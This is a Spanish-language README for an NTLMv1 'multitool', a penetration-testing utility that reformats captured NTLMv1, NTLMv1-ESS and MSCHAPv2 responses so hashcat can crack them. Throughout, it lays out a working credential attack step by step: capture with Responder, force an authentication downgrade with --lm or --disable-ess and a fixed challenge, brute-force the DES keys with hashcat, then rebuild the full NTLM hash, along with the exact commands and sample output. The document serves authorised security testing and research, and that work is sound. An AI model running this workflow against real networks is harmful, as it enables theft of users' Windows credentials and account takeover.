
Multitool NTLMv1
Esta herramienta revierte hashes NTLMv1 a NTLM o, más específicamente, formatea las respuestas al desafío NTLMv1 en un formato que puede crackearse con el modo 14000 de hashcat.
Si especificas --ct3, calculará los últimos 4 dígitos del NTLM por ti; si especificas --json, --ct3 está implícito y lo devolverá como el elemento pt3, por ejemplo:
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
Por último, en esta actualización he movido las funciones a main() para que puedas importar el módulo y usarlo directamente.
Añadí 2 nuevas opciones, --hashcat y --hcutils, que establecen la ruta a tu hashcat y hashcat-utils respectivamente, de modo que puedes hacer un copiar y pegar directo desde la herramienta.
Ejecutarías la herramienta así si tu directorio de hashcat estuviera en ~/git/hashcat y tu directorio de hashcat-utils estuviera en ~/git/hashcat-utils:
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
Sí, esto es supuestamente compatible con python 3; también he fusionado ntlmv1 y ntlmv1-ess.
NTLMv1 Multitool
Esta herramienta modifica hashes NTLMv1/NTLMv1-ESS/MSCHAPv2 para que puedan crackearse con el modo DES 14000 en hashcat.
Esta herramienta se basa en el trabajo realizado por atom, del equipo Hashcat https://hashcat.net/forum/thread-5832.html
También se basa en https://hashcat.net/forum/thread-5912.html y https://www.youtube.com/watch?v=LIHACAct2vo
Instala la herramienta de nueva generación ntlmv1_nextgen.py como comando global ntlmv1-multi con uv:
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"
O ejecútala directamente desde el repositorio sin instalarla:
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."
El proyecto incluye un pyproject.toml (dependencia pycryptodome, Python 3.14+) por lo que
uv resuelve todo por ti; el ntlmv1.py original sigue ejecutándose de forma independiente
con cualquier intérprete de Python 3.
ntlmv1_nextgen.py)ntlmv1_nextgen.py (instalado como el comando ntlmv1-multi) es el analizador
moderno. Acepta NTLMv1, blobs $99$ y MSCHAPv2, maneja ESS automáticamente
y puede completar la conversión completa de NTLMv1 -> NTLM a partir de un potfile crackeado en un solo
paso. Opciones disponibles:
| Opción | Descripción |
|---|---|
--ntlmv1 <hash> | Hash NTLMv1 en formato Responder (user::host:LM:NT:challenge). |
--99 <blob> | Blob base64 de estilo $99$. |
--mschapv2 <hash> | Hash MSCHAPv2 en formato John the Ripper. |
--nthash <hex> | Hash NTLM de 32 caracteres; deriva las claves DES y los candidatos de hashcat. |
--password <pw> | Deriva las claves DES --key1/--key2 a partir de una contraseña conocida. |
--key1 <hex> / --key2 <hex> | Proporciona las claves DES de 16 hex para CT1/CT2 directamente (tiene prioridad sobre --potfile). |
--potfile <path> | Potfile hashcat/rainbowcrackalack con claves del modo 14000 crackeadas; recupera key1/key2 automáticamente para completar la conversión NTLMv1 -> NTLM. |
--hashcat | Emite cadenas en formato hashcat para CT1/CT2. |
--json | Salida solo JSON (implica el cálculo de CT3). |
Para capturar, usa responder con la bandera --lm; sin --lm activarás ESS, lo que tardará más en crackear. También hay una nueva bandera, --disable-ess, que intentará deshabilitar ESS y forzar la degradación. Prueba primero --disable-ess y, si falla, prueba --lm. Si usas --disable-ess o --lm, asegúrate de que tu desafío de cliente sea 1122334455667788 para usar la FPGA; sin embargo, esto puede activar algunas protecciones de IDS/IPS de red si ven ese tráfico.
La captura se verá así.
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
La parte del hash se ve así
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Así que usa la multi herramienta de esta manera (también es compatible con python 2)
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Generará los siguientes datos sin modificar los desafíos del servidor, etc.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
La contraseña usada en este caso es "password" y podemos verificar el hash NTLM con
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
Con la utilidad ct3_to_ntlm.bin de hashcat-utils que escribió atom, puedes calcular los últimos 4 caracteres del hash NTLM a partir del desafío NTLMv1, que la herramienta muestra.
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
Esto coincide con el final del hash NTLM, así que estamos listos; el siguiente paso es crackear los hashes con hashcat, por lo que necesitamos crear un archivo hashes.txt con
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
Para crackear esto con hashcat usa
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Una nota importante es que hashcat devolverá claves DES y no claves NTLM; tendrás que convertirlas a NTLM usando deskey_to_ntlm.pl de Hashcat Utils, lo cual se puede hacer con
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Luego combinas las dos claves NTLM con la tercera parte de la contraseña, calculada por (lo que la herramienta genere)
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
Suma esas 3 partes y listo.